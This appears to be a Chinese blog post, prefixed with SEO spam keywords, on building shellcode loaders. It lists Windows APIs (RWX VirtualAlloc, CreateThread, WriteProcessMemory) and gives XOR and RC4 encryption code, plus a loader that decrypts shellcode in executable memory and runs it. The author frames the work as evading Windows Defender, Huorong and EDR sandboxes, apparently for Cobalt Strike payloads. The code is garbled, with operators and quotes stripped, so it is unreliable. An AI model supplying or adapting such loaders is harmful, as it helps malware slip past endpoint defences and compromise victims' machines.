支付网站开发怎么做账,佛山企业网站制作公司,西安建站推广,手机备案网站最近更新频率明显下降我懒#xff0c;那么今天就来记录一下我们的一些常用的API的整理以及ShellCode的加密。 1.WinAPI整理
问我为什么要整理#xff1f; 就是用起来的时候要左翻右翻 #xff1a;#xff1a; 烦死了
1.VirtualAlloc
VirtualAlloc(NULL,sizeof(buf),MEM_…最近更新频率明显下降我懒那么今天就来记录一下我们的一些常用的API的整理以及ShellCode的加密。 1.WinAPI整理
问我为什么要整理 就是用起来的时候要左翻右翻 烦死了
1.VirtualAlloc
VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
该API是LPVOID返回其中的sizeof(buf)是你要申请的长度PAGE_EXECUTE_READWRITE这个是这块内存的属性你可以申请一个不完整的没那么容易被杀的然后转换
2.Memcpy
memcpy(p,buf,sizeof(buf));
其中p是目的地址buf是源地址sizeof(buf)是源地址的长度
3.CreateThread
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)buffer, NULL, NULL, NULL);第一个参数是安全属性传入NULL默认是安全第二个是默认堆栈大小NULL是默认大小第三个是指向线程执行的函数指针存在强转第四个是要传递给函数的参数NULL默认没有第五个是默认控制线程的创建方式NULL表示没有最后一个是线程IDNULL默认不需要返回ID返回值就是HANDLE
4.VirtualProtect
VirtualProtect(p, length, PAGE_EXECUTE_READWRITE, NULL);
其中p是指向内存空间的指针第三个参数是内存的属性
5.WriteProcessMemory
WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);
第一个参数是原来的进程句柄第二个参数就指定目标进程中要写入数据的起始地址然后第三个参数就是指向要写入目标进程的数据的缓冲区的指针第四个就是写入的长度
6.WaitForSingleObject
WaitForSingleObject(handle, INFINITE)
第一个参数就是创建完进程的handle第二个参数直接写INFINET或者-1就好了
7.GetProcAddress
GetProcAddress(HDMDODULE,LFUNCNAME)
第一个参数就是获取到的dll的HMODULE第二个参数就是你要找的函数名字
8.CreateFileW
CreateFileW(Lcs.dll, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
第一个参数就是你要打开或者新建的文件这样写的话就是默认exe同文件夹下面有cs.dll第二个参数就是属性一般不会用到ALL第六个参数就是你要选择OPEN_EXISTING还是ALWAYS_CREATE
9.GetFileSize
GetFileSize(hFile, NULL)
这个很明显就是获取长度这个无需多言
10.HeapAlloc
在堆上分配可读可写内存不可执行
HeapAlloc(GetProcessHeap, HEAP_ZERO_MEMORY, length)
11.ReadFile
将文件内容写到缓冲区中
ReadFile(hFile, FileBuffer, length, RealLength, NULL);
第一个参数是刚才的文件的句柄 第二个是申请的内存指针第三个是内存指针的长度第四个是实际返回的长度常用来判断读取到的文字
2.ShellCode的加密
1.异或加密
这个就是可以说是ShellCode加密最简单的一集了下面就来个最简单的加密代码
异或加密其实就是将每一个字符都和一个key或者说一个数异或这就形成了密文。
#includeiostream
#includeWindows.h
using namespace std;void encrypt(unsigned char *p , DWORD length,DWORD key)
{for (int i 0; i length; i){p[i] p[i] ^ key;printf(%02x , p[i]);}cout endl;
}
void decrypt(unsigned char* p, DWORD length, DWORD key)
{for (int i 0; i length; i){p[i] p[i] ^ key;printf(%02x , p[i]);}cout endl;
}unsigned char buf[] \xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41;int main()
{encrypt(buf, sizeof(buf), 12345);decrypt(buf, sizeof(buf), 12345);return 0;
} 如果你想解密的话也很好办直接再异或一次就好了其实加密的代码完全可以再用一次 当然了你还可以搞难度大一点的随机生成密钥不过一般都不会这样操作因为你随机生成密钥总会有一方是无法操作的或者说你把你的随机生成的加密密钥写到解密算法里面不过这样感觉还不如直接传密钥
2.RC4加密
这个加密还是用的比较多的其实它的算法流程并没有变变得只是我们的Key
RC4的加解密需要经过两个流程
RC4initRC4Cipher
我们一步一步来操作先是RC4init
我们一般都会定义一个初始化的全局数组S 然后我们会对这个S有以下的操作
void RC4_init(unsigned char *p,unsigned char*key ,DWORD length)
{for (int i 0; i 256; i){s[i] i;}int j 0, i ;for (i 0; i 256; i){j (j p[i] key[i]) % 256;char temp p[i];p[i] p[j];p[j] temp;}
}
然后就是我们的RC4Cipher了至于这两段代码为什么我也布吉岛
void RC4Cipher(unsigned char* p, char* file, unsigned char* key, DWORD length)
{int i 0,j 0;for (int k 0; k length; k){i (i 1) % 256;j (i s[i]) % 256;unsigned char temp p[i];p[i] p[j];p[j] temp;file[k] ^ s[(s[i] s[j]) % 256];}
}
然后就是我们的完整代码了
#includeiostream
#includeWindows.h
using namespace std;unsigned char s[256] { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] { 0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i 0; i 256; i){s[i] i;}int j 0, i;for (i 0; i 256; i){j (j p[i] key[i]) % 256;unsigned char temp p[i];p[i] p[j];p[j] temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i 0, j 0;for (int k 0; k length; k){i (i 1) % 256;j (i s[i]) % 256;unsigned char temp p[i];p[i] p[j];p[j] temp;file[k] ^ s[(s[i] s[j]) % 256];}
}void print(unsigned char* p, DWORD length)
{for (int i 0; i length; i) {printf(%02x , p[i]);}cout endl;
}
int main()
{HANDLE hFile CreateFileW(Lcs.dll, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);DWORD length GetFileSize(hFile, NULL);unsigned char* FileBuffer (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);DWORD RealLength 0;if (ReadFile(hFile, FileBuffer, length, RealLength, NULL)){cout Read File Successfully endl;}RC4_init(s, key, sizeof(key));RC4Cipher(s, FileBuffer, key, sizeof(key));return 0;
}
我们也可以对一个shellcode加密并且解密上线看看效果其实这里就是再执行这块内存之前对他加了一次密模仿提前加密好的ShellCode或者DLL然后再对这块内存进行解密并且执行
#includeiostream
#includeWindows.h
using namespace std;/* length: 891 bytes */
unsigned char buf[] unsigned char s[256] { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] {0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i 0; i 256; i){s[i] i;}int j 0, i;for (i 0; i 256; i){j (j p[i] key[i]) % 256;unsigned char temp p[i];p[i] p[j];p[j] temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i 0, j 0;for (int k 0; k length; k){i (i 1) % 256;j (i s[i]) % 256;unsigned char temp p[i];p[i] p[j];p[j] temp;file[k] ^ s[(s[i] s[j]) % 256];}
}int main()
{void* p VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));RC4_init(s, key, sizeof(key));RC4Cipher(s,(unsigned char * )p, key, sizeof(key));RC4_init(s, key, sizeof(key));RC4Cipher(s, (unsigned char*)p, key, sizeof(key));((void(*)())p)();return 0;
}
3.AES加密
这个目前是最好的一种shellcode加密方式无论是对比起RC4(Defender会杀)UUDIIPV4这些
AES是能过Defender的就算你不分离的情况下就算熵很大
这里我就不贴代码了但是我能给屏幕截图理由大家都懂不想让他这么快被杀 然后就是来展示一下它的效果这个我都没做分离熵值其实挺大的
这也说明我们Windows Defender的查杀特点
沙箱当你将一个文件放进虚拟机的时候首先就去defender的沙箱跑所以这个loader第一步就是抗沙箱当然这个和360的QVM比不了内存扫描当你进行危险操作dump lsass注入shellcode的时候defender就会对这块内存进行扫描如果你是恶意的shellcode就会查杀当然这个和卡巴斯基也比不了 除了用server的defender测试还用了实体我同学的环境也是能用过的 火绒 电脑管家 当然了还有像UUIDIPV4IPV6这种的加密方式但是都不如AES加密强大当然你也可以用RSA总之加密方法有很多自行选择。 当然解密的密钥是不推荐直接写在loader里面可以分离一个xml,txt,这样的文件这样也有天然抗沙箱的作用因为对于强的EDR会关注你的一些函数然后在去hook你的解密后的内存如果不做unhook等其他操作就会被杀